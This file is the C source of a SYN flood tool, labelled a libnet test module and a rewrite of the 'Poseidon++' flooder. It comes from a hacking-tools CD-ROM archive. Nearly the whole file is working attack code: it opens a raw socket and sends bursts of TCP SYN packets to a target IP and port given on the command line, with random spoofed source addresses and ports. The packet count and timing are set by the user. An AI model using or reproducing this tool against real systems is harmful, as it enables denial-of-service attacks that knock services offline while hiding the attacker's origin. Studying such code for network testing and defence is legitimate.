home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / sectools / fragrouter / Libnet-0.99b / test / TCP / syn-flood.c < prev    next >
Encoding:
C/C++ Source or Header  |  1999-07-26  |  5.3 KB  |  185 lines

  1. /*
  2.  *  $Id: syn-flood.c,v 1.1.1.1 1999/05/18 15:33:42 dugsong Exp $
  3.  *
  4.  *  Poseidon++ (c) 1996, 1997, 1998, 1999 daemon9|route <route@infonexus.com>
  5.  *  SYN flooder rewritten for no good reason.  Again as libnet test module.
  6.  *  Copyright (c) 1998, 1999 Mike D. Schiffman <mike@infonexus.com>
  7.  *                           route|daemon9 <route@infonexus.com>
  8.  *  All rights reserved.
  9.  *
  10.  * Redistribution and use in source and binary forms, with or without
  11.  * modification, are permitted provided that the following conditions
  12.  * are met:
  13.  * 1. Redistributions of source code must retain the above copyright
  14.  *    notice, this list of conditions and the following disclaimer.
  15.  * 2. Redistributions in binary form must reproduce the above copyright
  16.  *    notice, this list of conditions and the following disclaimer in the
  17.  *    documentation and/or other materials provided with the distribution.
  18.  *
  19.  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
  20.  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
  21.  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
  22.  * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
  23.  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
  24.  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
  25.  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
  26.  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
  27.  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
  28.  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
  29.  * SUCH DAMAGE.
  30.  *
  31.  */
  32.  
  33. #if (HAVE_CONFIG_H)
  34. #include "../../include/config.h"
  35. #endif
  36. #include "../libnet_test.h"
  37.  
  38. struct t_pack
  39. {
  40.     struct ip ip;
  41.     struct tcphdr tcp;
  42. };
  43.  
  44.  
  45. int
  46. main(int argc, char **argv)
  47. {
  48.     u_long dst_ip   = 0;
  49.     u_long src_ip   = 0;
  50.     u_short dst_prt = 0;
  51.     u_short src_prt = 0;
  52.     u_char *cp, *buf;
  53.     int i, c, packet_amt, burst_int, sockfd, burst_amt;
  54.  
  55.     packet_amt  = 0;
  56.     burst_int   = 0;
  57.     burst_amt   = 1;
  58.  
  59.     while((c = getopt(argc, argv, "t:a:i:b:")) != EOF)
  60.     {
  61.         switch (c)
  62.         {
  63.             /*
  64.              *  We expect the input to be of the form `ip.ip.ip.ip.port`.  We
  65.              *  point cp to the last dot of the IP address/port string and
  66.              *  then seperate them with a NULL byte.  The optarg now points to
  67.              *  just the IP address, and cp points to the port.
  68.              */
  69.             case 't':
  70.                 if (!(cp = strrchr(optarg, '.')))
  71.                 {
  72.                     usage(argv[0]);
  73.                     exit(EXIT_FAILURE);
  74.                 }
  75.                 *cp++ = 0;
  76.                 dst_prt = (u_short)atoi(cp);
  77.                 if (!(dst_ip = name_resolve(optarg, 1)))
  78.                 {
  79.                     fprintf(stderr, "Bad IP address: %s\n", optarg);
  80.                     exit(EXIT_FAILURE);
  81.                 }
  82.                 break;
  83.  
  84.             case 'a':
  85.                 packet_amt  = atoi(optarg);
  86.                 break;
  87.  
  88.             case 'i':
  89.                 burst_int   = atoi(optarg);
  90.                 break;
  91.  
  92.             case 'b':
  93.                 burst_amt   = atoi(optarg);
  94.                 break;
  95.  
  96.             default:
  97.                 usage(argv[0]);
  98.                 exit(EXIT_FAILURE);
  99.         }
  100.     }
  101.  
  102.     if (!dst_prt || !dst_ip || !packet_amt)
  103.     {
  104.         usage(argv[0]);
  105.         exit(EXIT_FAILURE);
  106.     }
  107.  
  108.     if ((sockfd = open_raw_sock(IPPROTO_RAW)) == -1)
  109.     {
  110.         perror("socket allocation");
  111.         exit(EXIT_FAILURE);
  112.     }
  113.  
  114.     buf = malloc(TCP_H + IP_H);
  115.     if (!buf)
  116.     {
  117.         perror("No memory for packet header");
  118.         exit(EXIT_FAILURE);
  119.     }
  120.     memset(buf, 0, TCP_H + IP_H);
  121.  
  122.     seed_prand();
  123.  
  124.     for(; burst_amt--;)
  125.     {
  126.         for (i = 0; i < packet_amt; i++)
  127.         {
  128.             build_ip(TCP_H,
  129.                     0,
  130.                     get_prand(PRu16),
  131.                     0,
  132.                     get_prand(PR8),
  133.                     IPPROTO_TCP,
  134.                     src_ip = get_prand(PRu32),
  135.                     dst_ip,
  136.                     NULL,
  137.                     0,
  138.                     buf);
  139.  
  140.             build_tcp(src_prt = get_prand(PRu16),
  141.                     dst_prt,
  142.                     get_prand(PRu32),
  143.                     get_prand(PRu32),
  144.                     TH_SYN,
  145.                     get_prand(PRu16),
  146.                     0,
  147.                     NULL,
  148.                     0,
  149.                     buf + IP_H);
  150.  
  151.             do_checksum(buf, IPPROTO_TCP, TCP_H);
  152.  
  153.             c = write_ip(sockfd, buf, TCP_H + IP_H);
  154.             if (c < TCP_H + IP_H)
  155.             {
  156.                 fprintf(stderr, "write_ip\n");
  157.             }
  158.             usleep(250);
  159.             printf("%15s:%5d ------> %15s:%5d\n", 
  160.                     host_lookup(src_ip, 1),
  161.                     ntohs(src_prt),
  162.                     host_lookup(dst_ip, 1),
  163.                     dst_prt);
  164.         }
  165.         sleep(burst_int);
  166.     }
  167.     free(buf);
  168.     exit(EXIT_SUCCESS);
  169. }
  170.  
  171.  
  172. void
  173. usage(u_char *nomenclature)
  174. {
  175.     fprintf(stderr,
  176.         "\n\nusage: %s -t -a [-i -b]\n"
  177.         "\t-t target, (ip.address.port: 192.168.2.6.23)\n"
  178.         "\t-a number of packets to send per burst\n"
  179.         "\t-i packet burst sending interval (defaults to 0)\n"
  180.         "\t-b number packet bursts to send (defaults to 1)\n" , nomenclature);
  181. }
  182.  
  183.  
  184. /* EOF */
  185.